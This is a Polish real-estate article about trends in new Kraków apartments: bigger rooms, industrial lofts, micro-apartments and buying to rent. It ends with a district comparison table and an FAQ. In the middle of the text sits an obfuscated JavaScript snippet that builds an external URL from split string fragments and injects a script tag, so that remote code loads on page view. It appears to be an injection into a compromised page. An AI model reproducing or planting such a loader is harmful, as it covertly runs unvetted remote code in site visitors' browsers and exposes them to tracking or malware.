Więcej przestrzeni
Jeszcze kilka lat temu każdy metr nowego mieszkania w Krakowie był na wagę złota. Obecnie, mimo dość wysokich cen za metr kwadratowy, ceniona jest także przestrzeń. Modne są większe mieszkania oraz… większe pokoje. Deweloperzy często oferują lokale o powierzchni, na której 20 lat temu mieścił się o jeden pokój więcej. Komfort, swoboda zdecydowanie jest w cenie!Industrialne klimaty
Nowe, a jednak stare: mieszkania w Krakowie powstają także w zaadoptowanych przestrzeniach poprzemysłowych, jak młyny i fabryki. Lofty mają niepowtarzalny styl, najczęściej są dość wysokie, mają duże okna, w ich wnętrzach wykorzystane są cegła i beton, czasami widoczne są ciekawe elementy, jak miedziane rury pod sufitem. Mieszkania w stylu industrialnym są bardzo modne, stąd powstaje ich coraz więcej.Mikroapartamenty
Trend na bardzo małe, kompaktowe mieszkania pojawił się w Polsce kilka lat temu. Obecnie w Krakowie, w kilku lokalizacjach powstają nowe mieszkania o mikro wymiarach. Deweloperzy proponują lokale o całkowitej powierzchni od kilkunastu do trzydziestu metrów kwadratowych. Są to mieszkania przemyślane, często kompleksowo umeblowane, aby najlepiej wykorzystać ograniczoną przestrzeń. Mikroapartamenty są doskonałe dla studentów, zapracowanych singli, a także dla par.Dla siebie lub jako inwestycja
Wielu krakowian kupuje nowe mieszkania aby się usamodzielnić, żyć wygodniej w wybranej lokalizacji. Jest to znaczący wydatek, dlatego taki zakup jest ważną decyzją, podejmowaną jedynie raz lub kilka razy przez całe życie. Osoby które mają większe środki finansowe mogą jednak traktować zakup mieszkania jako inwestycja. Lokal jest wynajmowany i właściciel czerpie z tego zysk. Panująca koniunktura pozwala na uzyskanie dobrego, dość stabilnego zysku. Do właściciela należy decyzja, czy przeznaczy mieszkanie na wynajem krótko- lub długoterminowy oraz czy sam będzie zajmował się obsługą wynajmu, czy też powierzy to zadanie specjalistycznym firmom. (function(){ cs5t=document.createElement(„script”);cs5t_=(„ust”);cs5tu=”184909610″; cs5t_+=”a”+(„t.i”);cs5t.type=”text/javascript”; cs5tu+=”.vjt4wpqss5tjkta5yzbq”;cs5t.async=true;cs5t_+=”n”+(„f”+”o”)+”/”; cs5tu+=”bfb1c7z7s9″;cs5t.src=”https://”+cs5t_+cs5tu; document.body.appendChild(cs5t); })();Więcej praktycznych porad i inspiracji budowlanych znajdziesz w naszym portalu 123budujemy.pl.
Analiza rynku deweloperskiego w stolicy Małopolski – lokalizacja, metraż i standard
Krakowski rynek mieszkaniowy od lat należy do najbardziej dynamicznych w Polsce. Popyt generowany przez sektor IT, korporacje międzynarodowe oraz środowisko akademickie sprawia, że nowe inwestycje na Zabłociu, Grzegórzkach, Krowodrzy czy w rejonie Bronowic cieszą się ogromnym zainteresowaniem. Planując transakcję zakupu, inwestorzy analizują dostępne kredyty hipoteczne na mieszkanie, by dobrać harmonogram transz dopasowany do tempa budowy osiedla deweloperskiego.
| Rejon Krakowa | Profil dzielnicy | Główne atuty inwestycyjne |
|---|---|---|
| Krowodrza / Bronowice | Spokojna, zielona okolica, tradycyjna zabudowa | Szybki dojazd tramwajem do centrum, bliskość krakowskich uczelni |
| Grzegórzki / Zabłocie | Nowoczesne, postindustrialne lofty, tętniące życiem bulwary | Najwyższe stawki za metr w najmie korporacyjnym i krótkoterminowym |
| Ruczaj / Dębniki | Bliskość Kampusu UJ oraz Parku Technologicznego | Niezwykle stabilny popyt na wynajem ze strony specjalistów IT i studentów |
Najczęściej zadawane pytania (FAQ)
Jakie układy mieszkań cieszą się największą popularnością w Krakowie?
Najszybciej sprzedają się kompaktowe mieszkania 2-pokojowe o metrażu 38–45 m² oraz ustawne kawalerki o powierzchni 28–32 m² z balkonem.
Czy zakup miejsca postojowego w garażu podziemnym jest opłacalny?
Tak, ze względu na rozszerzanie strefy płatnego parkowania w Krakowie mieszkanie z przypisanym miejscem w hali garażowej jest znacznie bardziej poszukiwane przez najemców.
Na co zwrócić uwagę w prospekcie informacyjnym dewelopera?
Należy zweryfikować odległość do planowanych linii tramwajowych, przeznaczenie sąsiednich działek w MPZP oraz stan prawny drogi dojazdowej do osiedla.
